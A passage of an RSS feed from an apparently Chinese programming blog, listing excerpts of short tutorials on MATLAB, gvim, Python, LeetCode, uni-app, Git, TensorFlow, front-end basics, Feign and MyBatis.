【例1-4-1】计算&#xA;（1）用键盘在MATLAB命令窗中输入以下内容&#xA;(12+2*(7-4))/3^2&#xA;（2）在上述表达式输入完成后，按【Enter】键，该指令被执行。&#xA;（3）在指令执行后，MATLAB指令窗中将显示以下结果。&#xA;ans =&#xA;2&#xA;图1-9 在命令行窗口里的计算&#xA;说明：1、“ans”是MATLAB的一个默认变量，用户也可将表达式的值赋值给某个变量如a。&#xA;2、可以输入多条命令，这时各命令间要以逗号或分号隔开。&#xA;3、当输入命令的语句过长，需要两行或多行才能输入，则要使用“…”作连接符号，按回车键转入下一行继续输入。&#xA;4、在默认情况下，命令行窗口中各字符的颜色：关键字采用蓝色；字符串采用褐红色；命令、表达式和运行结果采用黑色。&#xA;5、单击命令行窗口右上角的下三角图标并选择“取消停靠”可以使命令行窗口脱离MATLAB界面成为一个独立的窗口；选择独立命令行窗口右上角的下三角形图标并选择“停靠”，可以使命令行窗口再次回到MATLAB主界面。&#xA;1.4.3 工作区&#xA;工作区窗口显示当前的内存中所有的MATLAB变量的变量名、数据结构、字节数及数据类型等信息，如图1-10所示。不同变量类型分别对应不同的变量名图标。&#xA;可以选中已有变量，单击鼠标右键对其进行各种操作，工作界面的菜单和工具栏上也有相应的命令供用户使用。&#xA;新建变量：向工作区添加新的变量。</description>
    </item>
    <item>
      <title>Windows下的gvim配置，具有代码补全，代码检查，格式化，编译运行等功能</title>
      <link>https://bchobby.github.io/posts/9afa1a3f95023f864003aa15c582f471/</link>
      <pubDate>Sat, 16 Apr 2022 23:51:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9afa1a3f95023f864003aa15c582f471/</guid>
      <description>文章目录 我的vimrc运行环境特征插件安装插件管理工具`vim-plug`其他插件 设置`vim`自身设置`gui`设置编码设置插件和一些其他功能完整的`vimrc`文件 我的vimrc 运行环境 windows10 1909+gvim8.2+python38&#xA;特征 利用airline状态栏美化，vim-one提供好看的语法高亮利用coc.nvim提供基于LSP的语义补全利用ale提供实时代码检查利用neofornat进行代码格式化。其实coc.nvim集成了语法检查和代码格式化，但是个人觉得体验不佳，就把这两项功能分离开来。支持c,c++，fortran,python,LaTeX语言的补全，编译，运行。 插件安装 插件管理工具vim-plug 选择一个插件安装目录，在gvim里面输入:version命令，查看设置文件的目录。&#xA;这里选择$HOME/vimfiles/autoload然后去vim-plug官网下载plug.vim文件，将其放入$HOME/vimfiles/autoload文件夹里面。&#xA;例如&#xA;call plug#begin(&#39;$HOME/vimfiles/plugged&#39;) &#34; 插件安装目录$HOME/vimfiles/plugged Plug &#39;junegunn/vim-easy-align&#39; &#34;github上插件地址 call plug#end() 其他插件 &#34;----------------插件-------------------------&#34; call plug#begin(&#39;$HOME/vimfiles/plugged&#39;) Plug &#39;scrooloose/nerdcommenter&#39; &#34;注释 Plug &#39;junegunn/vim-easy-align&#39; &#34;对齐 Plug &#39;dense-analysis/ale&#39; &#34;语法检查 &#34; use pre build Plug &#39;iamcco/markdown-preview.nvim&#39;, { &#39;do&#39;: { -&amp;gt; mkdp#util#install() } } &#34;markdownpreview Plug &#39;vim-airline/vim-airline&#39; &#34;状态栏 Plug &#39;vim-airline/vim-airline-themes&#39; Plug &#39;rakr/vim-one&#39; &#34;语法高亮 Plug &#39;joshdick/onedark.vim&#39; Plug &#39;preservim/nerdtree&#39;,{&#39;on&#39;:&#39;NERDTreeFind&#39;} &#34;文件树 Plug &#39;neoclide/coc.nvim&#39;, {&#39;branch&#39;: &#39;release&#39;} &#34;补全 Plug &#39;lervag/vimtex&#39;,{&#39;for&#39;:&#39;tex&#39;} &#34;</description>
    </item>
    <item>
      <title>小练习：用python计算每门课程的平均分及总成绩</title>
      <link>https://bchobby.github.io/posts/a0e11552172b21de6c9b518f8e851db0/</link>
      <pubDate>Sat, 16 Apr 2022 20:39:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0e11552172b21de6c9b518f8e851db0/</guid>
      <description> a=int(input(&#34;请输入一门课成绩：&#34;)) b=int(input(&#34;请输入一门课成绩：&#34;)) c=int(input(&#34;请输入一门课成绩：&#34;)) sum=a+b+c adv=(a+b+c)/3 print(&#34;你的总成绩为：&#34;,sum) print(&#34;平均分:&#34;,adv) a=int(input(&#34;请输入一个三位数:&#34;)) print(&#34;百位为:&#34;,a//100) print(&#34;十位为:&#34;,a%100//10) print(&#34;个位为:&#34;,a%10) </description>
    </item>
    <item>
      <title>【C&#43;&#43; LC.2089 找出数组排序后的目标下标】</title>
      <link>https://bchobby.github.io/posts/02292be9048fe68b7ed3acf81dbcc8bc/</link>
      <pubDate>Sat, 16 Apr 2022 18:39:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02292be9048fe68b7ed3acf81dbcc8bc/</guid>
      <description>/* 给你一个下标从 0 开始的整数数组 nums 以及一个目标元素 target 。&#xA;目标下标 是一个满足?nums[i] == target 的下标 i 。&#xA;将 nums 按 非递减 顺序排序后，返回由 nums 中目标下标组成的列表。&#xA;如果不存在目标下标，返回一个 空 列表。返回的列表必须按 递增 顺序排列。&#xA;示例：&#xA;输入：nums = [1,2,5,2,3], target = 2&#xA;输出：[1,2]&#xA;解释：排序后，nums 变为 [1,2,2,3,5] 。&#xA;满足 nums[i] == 2 的下标是 1 和 2 。&#xA;来源：力扣（LeetCode） */&#xA;//法一 先排序再全部遍历一遍 class Solution{ public: vector&amp;lt;int&amp;gt; targetIndices(vector&amp;lt;int&amp;gt;&amp;amp; nums,int target){ int n=nums.size(); sort(nums.begin(),nums.end()); //从小到大排序 vector&amp;lt;int&amp;gt; result; for(int i=0;i&amp;lt;n;i++){ if(nums[i]==target){ result.push_back(i); } } return result; } }; //法二 class Solution { public: vector&amp;lt;int&amp;gt; targetIndices(vector&amp;lt;int&amp;gt;&amp;amp; nums, int target) { int n=nums.</description>
    </item>
    <item>
      <title>uni-app中调取接口的三种方式与封装uni.request()</title>
      <link>https://bchobby.github.io/posts/21b8194dd179603664601e43305f7532/</link>
      <pubDate>Sat, 16 Apr 2022 17:42:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21b8194dd179603664601e43305f7532/</guid>
      <description>uni-app中调取接口的三种方式与封装uni.request() 一、uni-app中调取接口的三种方式 1、uni.request({})&#xA;uni.request({ url:&#39;/api/getIndexCarousel.jsp&#39;, method:&#39;get&#39;, success:res=&amp;gt;{ console.log(res.data); this.carouselData = res.data } }) 2、uni.request({}).then()&#xA;uni.request({ url:&#39;/api/getIndexCarousel.jsp&#39;, method:&#39;get&#39;, }).then((result)=&amp;gt;{ let [error,res] = result; //result将返回一个数组[error,{NativeData}] //NativeData：调取接口后返回的原生数据 if(res.statusCode === 200){ this.carouselData = res.data } if(res.statusCode === 404){ console.log(&#39;请求的接口没有找到&#39;); } }) 3、async/await&#xA;async：用在函数定义的前面 async request(){&#x9;//函数体;} await：用在标明了async关键字的函数内部，异步操作的前面。 onLoad() { this.request(); }, methods: { async request(){ let result = await uni.request({ url:&#39;/api/getIndexCarousel.jsp&#39; }) console.log(result) let [err,res] = result; if(res.statusCode === 200){ this.carouselData = res.data; } } } 二、封装uni.</description>
    </item>
    <item>
      <title>P4如何删除工作空间</title>
      <link>https://bchobby.github.io/posts/662b2001d5ffe79b0a43e7151efc0c19/</link>
      <pubDate>Sat, 16 Apr 2022 11:55:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/662b2001d5ffe79b0a43e7151efc0c19/</guid>
      <description> 我将本地的工作空间workspace删除后，在p4上新建同样名字的workspace,显示重名，不能建，&#xA;I felt very angry。&#xA;进行如下操作，缓解一下。&#xA;1、点击窗口view&#xA;2、选择workspace.&#xA;3、操作右边窗口，过滤出自己要删除的工作空间（服务器端名称），选择右击delete.&#xA;4、现在就可以在自己电脑上new workspace,但是p4下拉列表中还有，点击选择，显示无工作空间，哈哈哈，这下结束了。 </description>
    </item>
    <item>
      <title>ASCII码字符对照表</title>
      <link>https://bchobby.github.io/posts/567612d1f859d1b7781bfca062c4d94f/</link>
      <pubDate>Sat, 16 Apr 2022 11:32:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/567612d1f859d1b7781bfca062c4d94f/</guid>
      <description>转载于：搜狗百科ASCII - 搜狗百科&#xA;Bin(二进制)Oct(八进制)Dec(十进制)Hex(十六进制)缩写/字符解释0000 00000000x00NUL(null)空字符0000 00010110x01SOH(start of headline)标题开始0000 00100220x02STX (start of text)正文开始0000 00110330x03ETX (end of text)正文结束0000 01000440x04EOT (end of transmission)传输结束0000 01010550x05ENQ (enquiry)请求0000 01100660x06ACK (acknowledge)收到通知0000 01110770x07BEL (bell)响铃0000 100001080x08BS (backspace)退格0000 100101190x09HT (horizontal tab)水平制表符0000 1010012100x0ALF (NL line feed, new line)换行键0000 1011013110x0BVT (vertical tab)垂直制表符0000 1100014120x0CFF (NP form feed, new page)换页键0000 1101015130x0DCR (carriage return)回车键0000 1110016140x0ESO (shift out)不用切换0000 1111017150x0FSI (shift in)启用切换0001 0000020160x10DLE (data link escape)数据链路转义0001 0001021170x11DC1 (device control 1)设备控制10001 0010022180x12DC2 (device control 2)设备控制20001 0011023190x13DC3 (device control 3)设备控制30001 0100024200x14DC4 (device control 4)设备控制40001 0101025210x15NAK (negative acknowledge)拒绝接收0001 0110026220x16SYN (synchronous idle)同步空闲0001 0111027230x17ETB (end of trans.</description>
    </item>
    <item>
      <title>wolfssl导入stm32</title>
      <link>https://bchobby.github.io/posts/dd19bbcc78d5399b54b05ef51b28b755/</link>
      <pubDate>Sat, 16 Apr 2022 10:29:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd19bbcc78d5399b54b05ef51b28b755/</guid>
      <description>使用英文写的，但是都很简单，&#xA;简单图解了使用STM32CUBEMX导入wolfssl库的方法&#xA;1.usage of wolfSSL with picture 1.open a stm32cubemx project&#xA;打开一个stm32工程&#xA;2.choose “Software Packs” then choose “select components”&#xA;点击红框内的按钮，添加组件&#xA;3.Find and check all components for the wolfSSL.wolfSSL packs (wolfSSL / Core, wolfCrypt / Core and wolfCrypt / Test). Close&#xA;在组件中，选择红框内与wolfssl相关的三个组件，点击’OK’&#xA;4.For Cortex-M recommend “Math Configuration” -&amp;gt; “Single Precision Cortex-M Math”&#xA;在software pakages里，修改数学设置为 “Single Precision Cortex-M Math”，按照官网意思是，这样可以提高计算精度和效率，&#xA;5.clock configuration配置时钟&#xA;6.generate code&#xA;点击生成代码，即可得到一个含有wolfssl库的stm32工程</description>
    </item>
    <item>
      <title>Navicat安装教程</title>
      <link>https://bchobby.github.io/posts/4424ac9c49a2f9d8762f12fee971bf7a/</link>
      <pubDate>Sat, 16 Apr 2022 00:48:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4424ac9c49a2f9d8762f12fee971bf7a/</guid>
      <description>1. 软件下载地址(点击下载)&#xA;2. 首先将下载后的文件解压到本地&#xA;3. 右键选择以管理员身份运行navicat_15.0-64bit.exe&#xA;4.然后点击下一步按钮&#xA;5.勾选我同意，然后点击下一步按钮&#xA;6.选择指定的安装目录，然后点击下一步按钮&#xA;7.点击下一步按钮&#xA;8.点击下一步按钮&#xA;9.点击安装按钮&#xA;10.点击完成按钮</description>
    </item>
    <item>
      <title>基于TensorFlow的卷积神经网络的岩石图像分类识别（简易实践案例）</title>
      <link>https://bchobby.github.io/posts/203606cad47bea33091474e357e0e028/</link>
      <pubDate>Fri, 15 Apr 2022 21:13:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/203606cad47bea33091474e357e0e028/</guid>
      <description>基于TensorFlow的卷积神经网络的岩石图像分类识别 题目简述个人项目运行环境数据处理模型实现结果分析完整代码 题目简述 今有砾岩(Conglomerate)、安山岩(Andesite)、石灰岩(Limestone)、石英岩(Quartzite)和花岗岩(Granite)5种岩石图片，每张图片的大小不一。试建立卷积神经模型，利用训练数据集进行训练，并对测试集进行分类识别。&#xA;数据集百度云盘下载 https://pan.baidu.com/s/1Ok20EhvV9F0-JMyONrsnFA 解压码：t35r.&#xA;个人项目运行环境 PyCharm 2017.1Python 3.8.6numpy 1.19.5TensorFlow 2.5.0scikit-learn 0.24.2 导入模块&#xA;import os import numpy as np from PIL import Image from tensorflow.keras import layers,models from sklearn.model_selection import train_test_split 数据处理 这里我们构造卷积神经网络模型所需要的输入数据和输出数据，其中输入数据为所有彩图数据。我所展示的样例共有300张图片，统一取图像中心点100×100像素，共有R、G、B三个通道，并对每个通道像素值归一化，彩色图片有3个通道（也可以使用OpenCV的函数查看自己使用图片的通道数），故所有彩图数据可以用一个四维数组来存储，其形态为 (300,100,100,3)。记为X。输出数据为岩石类型，依次为砾岩、安山岩、石灰岩、石英岩和花岗岩（不确定顺序，我也不能分清具体岩石是哪个类，按照图片的类别来分不同岩石），类型编号为0、1、2、3、4，记为Y。代码如下:&#xA;# 数据处理 def DataDispose(X,Y,ImgList): for i in range(len(ImgList)): # 读取第一张图片，img有R、G、B(三色)三个通道 img = Image.open(ImgPath + &#34;\\&#34; +ImgList[i]) # 分离R、G、B通道 sep = img.split() # R 通道 R = np.array(sep[0]) # 注意中心点 row_1 = int(R.shape[0]/2) - 50 row_2 = int(R.</description>
    </item>
    <item>
      <title>前端基本知识及问题（持续更新）</title>
      <link>https://bchobby.github.io/posts/6b34a2cae3772087786a2f99b2983649/</link>
      <pubDate>Fri, 15 Apr 2022 17:05:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b34a2cae3772087786a2f99b2983649/</guid>
      <description>1、前端如何实现word导出？ 使用docxtemplater，需要word模板，但功能有限制，复杂功能无法实现&#xA;2、前端如何实现pdf导出？ 可使用pdfmake，由于默认不支持中文，因此需要引入中文字体包，体积较大，酌情使用&#xA;3、vue多级路由如何实现路由缓存？ vue三级及以上层级路由默认无法缓存，原因是keepalive只能缓存到二级标签，解决方案：①将二级标签组件强行放入缓存，但由于一般而言所有二级路由标签公用同一个组件，因此会有一些奇怪的未知问题，舍弃；②在路由跳转前监听路由，删除所要跳转路由之前的所有中间层级路由，使跳转路由变为二级标签，测试后发现未发现任何问题，完美解决。&#xA;4、vue钩子函数的特点 vue的钩子函数遵循的特点：&#xA;①生命周期函数（mounted，created等）都是一个方法（原因：能直接调用函数中的代码块）；&#xA;父子组件生命周期执行顺序: 父beforeCreat，父created，父beforeMount，子beforeCreat，子created，子beforeMount，子mounted，父mounted，父beforeDestory，子beforeDestory，子destroyed，父destroyed&#xA;②其余钩子函数是多为对象（components、metheds、watch、computed等）（原因：都需要设置变量用来调用）；&#xA;③特别钩子：name为字符串（原因：命名是唯一的字符串），mixins为数组（原因：直接引入多个代码块不需要其它调用），data为return一个对象的方法（原因：js的特性，为了避免多个组件之间的data是引用数据类型导致修改一个数据地址所有data的地址都变化，function不会有这个问题）&#xA;5、如何实现跨域 跨域除了后台放开访问限制以外，前端可以用以下方式实现&#xA;①使用jsonp请求实现跨域&#xA;②使用标签实现跨域（所有自带src属性的标签都可以）&#xA;③可以通过配置代理实现跨域&#xA;④移动端可以通过使用android或ios原生请求（原生请求没有跨域这一概念）&#xA;前两种只能用于get请求，通常用来访问静态资源；正常web端框架（vue，angular等）建议使用第三种；移动端第三种无效，建议使用第四种&#xA;6、css扩展语言sass、scss、less的区别 css有三种常见的扩展语言sass、scss，less，scss就是sass 3，对于sass的的缩进语法做了优化，更符合开发习惯。&#xA;scss和less 的区别：&#xA;①开发环境不同；&#xA;②变量定义不同，scss用$，拼接变量则在外层添加#{}，less用@；&#xA;③变量作用域不同，less变量只在花括号内部生效，scss所有变量在当前文件作用域生效；&#xA;④scss支持使用条件语句和循环语句，使用方式：@if ... {...} @else if ... {...} @else {...} @for...from...to... @for...from...through... @each...in...，less则不支持。&#xA;总结：正常项目使用scss，使用sass的项目建议使用scss替换，没有复杂样式逻辑的项目使用less&#xA;7、怎样实现拖拽排序 可以基于draggable组件实现拖拽排序，组件使用方式： vue.draggable中文文档&#xA;8、前端性能优化方式 1、CDN分发加速（将资源文件提给cdn厂商，让厂商去智能拉取，主要的工作是把我们需要被分发的内容分发到世界各地的各个节点上，让世界各地的人都可以在距离最近的网络节点拿到想要拿到的内容，减少网络传输距离从而达到加速的目的）&#xA;2、减少网络请求（减少建立网络连接的次数）&#xA;3、使用服务端渲染替代客户端渲染（服务端渲染不需要二次调用页面资源，但对服务器压力较大，并且对前后端分离不友好，对SEO搜索引擎优化较好，加快了页面访问速度）&#xA;4、将 CSS 放在文件头部，JavaScript 文件放在底部（CSS 执行会阻塞渲染，阻止 JS 执行，先加载 HTML 再加载 CSS，会让用户第一时间看到的页面没有样式，JS 加载和执行会阻塞 HTML 解析，JS 文件也不是不可以放在头部，只要给 script 标签加上 defer 属性就可以了，异步下载，延迟执行。）&#xA;5、使用字体图标 iconfont 代替图片图标（iconfont文件较小且不会失真）</description>
    </item>
    <item>
      <title>windos10本地安装git工具并使用</title>
      <link>https://bchobby.github.io/posts/374b7c36a84d5677c139796aa203585a/</link>
      <pubDate>Fri, 15 Apr 2022 16:25:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/374b7c36a84d5677c139796aa203585a/</guid>
      <description>1.下载最新版本git 官网:https://gitforwindows.org/&#xA;https://github.com/git-for-windows/git/releases/download/v2.35.3.windows.1/Git-2.35.3-64-bit.exe 2.安装git 安装说明比较详细 https://blog.csdn.net/yanwennian/article/details/118515116 3.配置并使用 安装完成 回到桌面鼠标右键 会看到多了两个git配置&#xA;选择git bash&#xA;3.1 本地生成密钥，同步到git服务器 mkdir ~/.ssh cd ~/.ssh ssh-keygen -t rsa -C &#34;xxxxx@qq.com&#34; 运行完成后本地会生成如图配置文件，将id_rsa.pub 密钥拷贝同步到git项目服务器上&#xA;3.2 git服务器新增密钥 粘贴完成新增密钥&#xA;3.3 本地验证密钥 ssh -T git@gitlab.com 没有出现密码认证说明密钥配置成功&#xA;git config --global user.name &#34;zhangfan&#34; #配置本地用户 git config --global user.email &#34;zhangfan@xxxx.com&#34; #配置本地邮箱 4.测试验证 本地新建目录，git bash切换目录执行&#xA;git clone git@gitlab.com:coherent1/test.git（此处更换为对应仓库的地址）&#xA;模拟了一个创建代码并提交过程git log 发现已经提交了&#xA;发现git 代码仓库已经有个刚才提交的代码，验证成功&#xA;5.git常用的命令 Git 全局设置 git config --global user.name &#34;zhangfan&#34; git config --global user.email &#34;</description>
    </item>
    <item>
      <title>前端基础的40个问题及答案【前10问】</title>
      <link>https://bchobby.github.io/posts/16cadb6a8ed10e86ea46ce07ab8dafaa/</link>
      <pubDate>Fri, 15 Apr 2022 12:34:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16cadb6a8ed10e86ea46ce07ab8dafaa/</guid>
      <description>40个问题【前10问】— 及答案 1、简述一下你对HTML语义化的理解？ HTML语义化：就是页面去掉样式或者加载失败的时候能够让页面呈现出清晰的结构。HTML5新增了好多语义化的标签，例如：header、footer、nav、menu、section、article等等&#xA;单单从字面上理解，就知道标签的含义。在写页面的时候，我们可以直接引用这些标签，不需要再用没有任何含义的div标签了，对于机器可以识别，对于开发人员很容易明白。这就是HTML语义化。&#xA;1 html 语义化让页面的内容结构化，结构更清晰，便于对浏览器、搜索引擎解析&#xA;2 用正确的标签做正确的事情&#xA;3 有利于SEO利于被搜索引擎收录，更便于搜索引擎的爬虫程序来识别&#xA;4 便于项目的开发及维护，使HTML代码更具有可读性，可维护、可理解&#xA;2、标签上title与alt属性的区别是什么？ alt与 title 属性区别：&#xA;图片中的alt 属性是在图片不能正常显示时出现的文本提示。&#xA;图片中的 title属性是在鼠标在移动到元素上的文本提示。&#xA;3、iframe的优缺点？ iframe的优点： 1、iframe能够原封不动地把嵌入的网页展现出来。&#xA;2、如果有多个网页引用iframe，那么你只需要修改iframe的内容，就可以实现调用的每一个页面内容的更改，方便快捷。&#xA;3、网页如果为了统一风格，头部和版本都是一样的，就可以写成一个页面，用iframe来嵌套，可以增加代码的可重用。&#xA;4、如果遇到加载缓慢的第三方内容如图标和广告，这些问题可以由iframe来解决。&#xA;iframe的缺点： 会产生很多页面，不容易管理。&#xA;1、iframe框架结构有时会让人感到迷惑，如果框架个数多的话，可能会出现上下、左右滚动条，会分散访问者的注意力，用户体验度差。&#xA;2、代码复杂，无法被一些搜索引擎索引到，这一点很关键，现在的搜索引擎爬虫还不能很好的处理iframe中的内容，所以使用iframe会不利于搜索引擎优化。&#xA;3、很多的移动设备（PDA 手机）无法完全显示框架，设备兼容性差。&#xA;4、iframe框架页面会增加服务器的http请求，对于大型网站是不可取的。&#xA;分析了这么多，现在基本上都是用Ajax来代替iframe，所以iframe已经渐渐的退出了前端开发。&#xA;其他静态文件的引用：https://segmentfault.com/a/1190000020144193&#xA;4、垂直居中几种方式？ 1、用于文字和行内元素&#xA;line-height等于hieght/只设line-height&#xA;2、元素是行内块元素，父元素设有等于自身高度的行高 -- 常用在图片与文字的对齐&#xA;vertical-align: middle&#xA;3、绝对定位加负外边距&#xA;position: absolute;//设为绝对定位&#xA;top: 50%;//top值为50%&#xA;transform: translateY(-50%);//设为元素高度倒退一半&#xA;4、绝对定位加margin:auto&#xA;这种方法好处是不止可以实现垂直居中，还可以实现水平居中，坏处是在网络或性能不好的情况下会有盒子不直接定到位的情况，造成用户体验不好。&#xA;5、flex布局&#xA;display: flex;//设为flex&#xA;justify-content: center;//水平居中&#xA;align-items: center;//垂直居中&#xA;5、介绍一下css的盒子模型？ CSS盒模型本质上是一个盒子，封装周围的HTML元素，它包括：边距，边框，填充，和实际内容。&#xA;盒模型允许我们在其它元素和周围元素边框之间的空间放置元素。&#xA;6、rgba和opacity的透明效果有什么不同？ opacity作用于元素，以及元素内的所有内容的透明度&#xA;rgba()只作用于元素的颜色或其背景色&#xA;7、position的值，relative和absolute分别是相对于谁进行定位的？ relative（相对定位）并没有脱离文档流，而absolute（绝对定位）脱离了文档流；</description>
    </item>
    <item>
      <title>Git命令之git log使用</title>
      <link>https://bchobby.github.io/posts/8139e295979df4a1c78de6e57f4cd7d6/</link>
      <pubDate>Fri, 15 Apr 2022 11:53:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8139e295979df4a1c78de6e57f4cd7d6/</guid>
      <description>1、无任何参数的状态&#xA;git log 参数介绍：&#xA;参数说明-p按补丁格式显示每个更新之间的差异–stat显示每次更新的文件修改统计信息–shortstat只显示 --stat 中最后的行数修改添加移除统计–name-only仅在提交信息后显示已修改的文件清单–name-status显示新增、修改、删除的文件清单–abbrev-commit仅显示 SHA-1 的前几个字符，而非所有的 40 个字符–relative-date使用较短的相对时间显示（比如，“2 weeks ago”）–graph显示 ASCII 图形表示的分支合并历史–pretty使用其他格式显示历史提交信息。可用的选项包括 oneline，short，full，fuller 和 format（后跟指定格式）-(n)仅显示最近的 n 条提交–since, --after仅显示指定时间之后的提交–until, --before仅显示指定时间之前的提交–author仅显示指定作者相关的提交–committer仅显示指定提交者相关的提交 2、控制更新显示的个数&#xA;git log -p -2 3、增改行数统计&#xA;每个提交都列出了修改过的文件，以及其中添加和移除的行数，并在最后列出所有增减行数小计&#xA;git log --stat 4、设置展示方式&#xA;可以指定使用完全不同于默认格式的方式展示提交历史&#xA;git log --pretty=oneline git log --pretty=short git log --pretty=full git log --pretty=fuller ##定制格式 git log --pretty=format:&#34;%h - %an, %ar : %s&#34; 5、限制日志输出长度&#xA;按照时间作限制的选项，如 --since 和 --until&#xA;git log --since / git log --until ##例1: 列出所有最近两周内的提交 git log --since=2.</description>
    </item>
    <item>
      <title>Feign实例的构建器Feign.Builder简单源码概述</title>
      <link>https://bchobby.github.io/posts/e6266eca6400782caf6e68262967e66b/</link>
      <pubDate>Fri, 15 Apr 2022 11:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6266eca6400782caf6e68262967e66b/</guid>
      <description>一、前言 今天在项目中遇见了Feign.Builder并通过内部的拦截器对feign接口做了一些配置，比较感兴趣，所以去特地了解了一下Feign.Builder的简要原理，在此记录一下，后面会慢慢去尝试读取源码并分享：&#xA;feign.Feign它是最上层的API，是使用者直接使用的对象，它能完成对接口生成动态代理对象，从而很方面的让你面向接口编程，而不用太过例会Feign内部的实现细节。&#xA;二、feign.Feign Feign的目的是简化针对rest的Http Api的开发。在实现中，Feign是一个用于生成目标实例Feign.newInstance()的工厂，这个生成的实例便是接口的代理对象。&#xA;该类是个抽象类：&#xA;public abstract class Feign { // 唯一的public的抽象方法，用于为目标target创建一个代理对象实例 public abstract &amp;lt;T&amp;gt; T newInstance(Target&amp;lt;T&amp;gt; target); // -----------------静态方法----------------- // 工具方法，生成configKey // MethodMetadata#configKey属性的值就来自于此方法 public static String configKey(Class targetType, Method method) { ... } // Feign的实例统一，有且只能通过builder构建，文下有详解，它是重点 public static Builder builder() { return new Builder(); } } feign.Feign它有且仅有一个唯一实现类ReflectiveFeign，但这个实现类并不面向使用者，使用者只需用Builder构建，面向接口/抽象类编程足矣。&#xA;三、ParseHandlersByName 在接触ReflectiveFeign之前，我认为很有必要了解下它。&#xA;该类有且仅提供一个方法：将feign.Target转为Map&amp;lt;String, MethodHandler&amp;gt;，就是说为每一个configKey（其实就是一个Method），找到一个处理它的MethodHandler。&#xA;首先展示一下类和大概的理解，然后我们细细的理解：&#xA;static final class ParseHandlersByName { // 提取器 private final Contract contract; private final Options options; private final Encoder encoder; private final Decoder decoder; private final ErrorDecoder errorDecoder; private final QueryMapEncoder queryMapEncoder; // 这个工厂只产生SynchronousMethodHandler实例 // 从这也很好理解：所有的Method最终的处理器都是SynchronousMethodHandler private final SynchronousMethodHandler.</description>
    </item>
    <item>
      <title>Bootstrap 思维导图</title>
      <link>https://bchobby.github.io/posts/b7cc41abfae13e81429c5a8ab4f81d1f/</link>
      <pubDate>Fri, 15 Apr 2022 01:51:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7cc41abfae13e81429c5a8ab4f81d1f/</guid>
      <description> bootstrap简单总结 Bootstrap4基础知识结构 Bootstrap4前台框架 </description>
    </item>
    <item>
      <title>单细胞数据挖掘 P 3.1 QC以及细胞周期判断</title>
      <link>https://bchobby.github.io/posts/5faa8cc43297b327204a671bd67b7410/</link>
      <pubDate>Fri, 15 Apr 2022 00:47:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5faa8cc43297b327204a671bd67b7410/</guid>
      <description>「生信技能树」单细胞数据挖掘_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1pa4y1s76J?p=10&#xA;P3.1 QC空细胞及重复细胞质控以及细胞周期判断 空细胞质控 load(&#34;scRNA.Rdata&#34;) library(Seurat) ##1、detect special cells---- # empty droplet # BiocManager::install(&#34;DropletUtils&#34;) library(DropletUtils) e.out &amp;lt;- emptyDrops(GetAssayData(scRNA,slot=&#34;counts&#34;,assay=&#34;RNA&#34;)) #Error in testEmptyDrops(m, lower = lower, ...) : #no counts available to estimate the ambient profile ##https://support.bioconductor.org/p/123554/#123562 #如上回答所说，empty droplet往往在第一步就已经过滤掉了，而一般上传到GEO的也都是过滤掉空液滴的。 先是空细胞，用dropletutils包&#xA;GEO数据往往以及完成了质控，因此返回的是个error值。&#xA;重复细胞质控（跑不通） #double droplet #https://osca.bioconductor.org/doublet-detection.html # BiocManager::install(&#34;scran&#34;) head(scRNA@meta.data) library(scran) library(Matrix) #GetAssayData(scRNA,slot=&#34;counts&#34;,assay=&#34;RNA&#34;)[1:8,1:4] ?doubletCluster #检查有无double droplet聚在一起的类 db.test &amp;lt;- doubletCluster(GetAssayData(scRNA,slot=&#34;counts&#34;,assay=&#34;RNA&#34;), clusters=scRNA@meta.data$seurat_clusters) head(db.test) table(scRNA@meta.data$seurat_clusters) library(scater) chosen.doublet &amp;lt;- rownames(db.test)[isOutlier(db.test$N, type=&#34;lower&#34;, log=TRUE)] chosen.doublet #结果显示没有 #还有其它多种方法 这里有个问题，&#xA;&amp;gt; db.</description>
    </item>
    <item>
      <title>最新Mybatis快速上手（详解）</title>
      <link>https://bchobby.github.io/posts/89dfdccbb72f06726092d79c4d5471f0/</link>
      <pubDate>Thu, 14 Apr 2022 23:50:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89dfdccbb72f06726092d79c4d5471f0/</guid>
      <description>前言 Mybatis快速学习，最全最详细，入坑狂神，ssm框架必备资源，文档笔记来源：kuangshenstudy，结合视频资源食用更佳，相关资源在文末，有需要自取。&#xA;一、Mybatis简介？ MyBatis 本是 Apache 的一个开源项目 iBatis ,2010年这个项目由 Apache Software Foundation 迁移到了 Google Code ，并且改名为 MyBatis。 MyBatis 是一个基于 Java 的持久层框架。 MyBatis 提供的持久层框架包括 sQL Maps 和 Data Access Objects ( DAO )，它消除了几乎所有的 JDBC 代码和参数的手工设置以及结果集的检索。 MyBatis 使用简单的 XML 或注解用于配置和原始映射，将接口和 Java 的 POJOs ( Plain Old Java Objects ，普通的 Java 对象）映射成数据库中的记录。&#xA;目前， Java 的持久层框架产品有许多，常见的有 Hibernate 和 MyBatis 。 MyBatis 是一个半自动映射的框架，因为 MyBatis 需要手动匹配PoJ0、 sQL 和映射关系；而 Hibernate 是一个全表映射的框架，只需提供POJ0和映射关系即可。 MyBatis 是一个小巧、方便、高效、简单、直接、半自动化的持久层框架； Hibernate 是一个强大、方便、高效、复杂、间接、全自动化的持久层框架。两个持久层框架各有优缺点，开发者应根据实际应用选择它们。&#xA;二、Mybatis的工作原理 读取Mybatis配置文件：（例如数据库连接信息）加载映射文件：（即sql映射文件，该文件中配置了操作数据库的sql语句，mybatis-config.</description>
    </item>
    <item>
      <title>mybatis事务和缓存</title>
      <link>https://bchobby.github.io/posts/f1f3731b8d83e6e8ffe931933e1fe42c/</link>
      <pubDate>Thu, 14 Apr 2022 23:12:45 +0800</pubDate>
